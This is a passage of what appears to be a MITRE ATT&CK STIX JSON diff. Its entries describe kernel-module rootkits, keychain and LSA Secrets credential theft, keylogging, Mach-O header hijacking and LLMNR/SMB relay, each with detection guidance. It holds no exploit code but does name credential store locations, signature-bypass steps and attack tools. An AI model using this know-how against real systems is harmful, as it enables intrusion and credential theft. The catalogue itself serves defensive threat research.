modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)", + "x_mitre_contributors": [ + "Wayne Silva, F-Secure Countercept", + "Anastasios Pingios", + "Jeremy Galloway", + "Red Canary" + ], + "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/006", + "external_id": "T1547.006", + "source_name": "mitre-attack" + }, + { + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "source_name": "Linux Kernel Programming" + }, + { + "source_name": "Linux Kernel Module Programming Guide", + "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.", + "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html" + }, + { + "source_name": "iDefense Rootkit Overview", + "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.", + "url": "http://www.megasecurity.org/papers/Rootkits.pdf" + }, + { + "url": "https://developer.apple.com/support/kernel-extensions/", + "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.", + "source_name": "Apple Kernel Extension Deprecation" + }, + { + "source_name": "Volatility Phalanx2", + "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", + "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html" + }, + { + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "GitHub Reptile", + "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.", + "url": "https://github.com/f0rb1dd3n/Reptile" + }, + { + "source_name": "GitHub Diamorphine", + "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", + "url": "https://github.com/m0nad/Diamorphine" + }, + { + "source_name": "RSAC 2015 San Francisco Patrick Wardle", + "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Synack Secure Kernel Extension Broken", + "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.", + "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/" + }, + { + "source_name": "Securelist Ventir", + "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.", + "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", + "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.", + "source_name": "Trend Micro Skidmap" + }, + { + "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", + "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.", + "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html" + }, + { + "source_name": "Wikipedia Loadable Kernel Module", + "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.", + "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux" + }, + { + "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/", + "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.", + "source_name": "User Approved Kernel Extension Pike\u2019s" + }, + { + "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/", + "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.", + "source_name": "Purves Kextpocalypse 2" + }, + { + "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf", + "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.", + "source_name": "Apple Developer Configuration Profile" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-12T18:55:55.305Z", + "name": "Keychain", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1142", + "external_id": "T1142", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia keychain", + "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Keychain_(software)" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-17T13:14:31.140Z", + "name": "Keychain", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: OS API Execution", + "File: File Access" + ], + "x_mitre_version": "1.0", + "created": "2020-02-12T18:55:24.728Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "description": "Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1555/001", + "external_id": "T1555.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia keychain", + "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Keychain_(software)" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-21T01:30:56.227Z", + "name": "Keylogging", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load", + "Process: OS API Execution" + ], + "x_mitre_version": "1.1", + "created": "2020-02-11T18:58:11.791Z", + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1056/001", + "external_id": "T1056.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/568.html", + "external_id": "CAPEC-568", + "source_name": "capec" + }, + { + "source_name": "Adventures of a Keystroke", + "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", + "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-30T00:51:58.008Z", + "name": "LC_LOAD_DYLIB Addition", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1161", + "external_id": "T1161", + "source_name": "mitre-attack" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "LC_LOAD_DYLIB Addition", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata", + "File: File Modification", + "Module: Module Load" + ], + "x_mitre_version": "1.0", + "modified": "2021-03-30T00:51:58.454Z", + "created": "2020-01-24T14:21:52.750Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847", + "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time. (Citation: Malware Persistence on OS X)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/006", + "external_id": "T1546.006", + "source_name": "mitre-attack" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "LC_MAIN Hijacking", + "x_mitre_version": "2.0", + "modified": "2020-03-30T13:53:57.518Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true, + "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1149", + "external_id": "T1149", + "source_name": "mitre-attack" + }, + { + "source_name": "Prolific OSX Malware History", + "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.", + "url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-11T19:09:48.452Z", + "name": "LLMNR/NBT-NS Poisoning and Relay", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1171", + "external_id": "T1171", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia LLMNR", + "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.", + "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution" + }, + { + "source_name": "TechNet NetBIOS", + "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.", + "url": "https://technet.microsoft.com/library/cc958811.aspx" + }, + { + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "source_name": "byt3bl33d3r NTLM Relaying" + }, + { + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "source_name": "Secure Ideas SMB Relay" + }, + { + "source_name": "GitHub NBNSpoof", + "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", + "url": "https://github.com/nomex/nbnspoof" + }, + { + "source_name": "Rapid7 LLMNR Spoofer", + "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.", + "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response" + }, + { + "source_name": "GitHub Responder", + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "url": "https://github.com/SpiderLabs/Responder" + }, + { + "source_name": "Sternsecurity LLMNR-NBTNS", + "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.", + "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning" + }, + { + "source_name": "GitHub Conveigh", + "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", + "url": "https://github.com/Kevin-Robertson/Conveigh" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "LLMNR/NBT-NS Poisoning and SMB Relay", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "1.2", + "modified": "2021-09-28T13:09:50.809Z", + "created": "2020-02-11T19:08:51.677Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", + "x_mitre_contributors": [ + "Eric Kuehn, Secure Ideas", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_detection": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1557/001", + "external_id": "T1557.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia LLMNR", + "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.", + "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution" + }, + { + "source_name": "TechNet NetBIOS", + "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.", + "url": "https://technet.microsoft.com/library/cc958811.aspx" + }, + { + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "source_name": "byt3bl33d3r NTLM Relaying" + }, + { + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "source_name": "Secure Ideas SMB Relay" + }, + { + "source_name": "GitHub NBNSpoof", + "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", + "url": "https://github.com/nomex/nbnspoof" + }, + { + "source_name": "Rapid7 LLMNR Spoofer", + "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.", + "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response" + }, + { + "source_name": "GitHub Responder", + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "url": "https://github.com/SpiderLabs/Responder" + }, + { + "source_name": "Sternsecurity LLMNR-NBTNS", + "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.", + "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning" + }, + { + "source_name": "GitHub Conveigh", + "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", + "url": "https://github.com/Kevin-Robertson/Conveigh" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "LSA Secrets", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-21T21:12:38.361Z", + "created": "2020-02-21T16:22:09.493Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM" + ], + "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003/004", + "external_id": "T1003.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23", + "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.", + "source_name": "Passcape LSA Secrets" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN", + "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.", + "source_name": "Microsoft AD Admin Tier Model" + }, + { + "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf", + "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.", + "source_name": "Tilbury Windows Credentials" + }, + { + "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets", + "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.", + "source_name": "ired Dumping LSA Secrets" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T18:50:28.846Z", + "name": "LSASS Driver", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1177", + "external_id": "T1177", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Security Subsystem", + "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 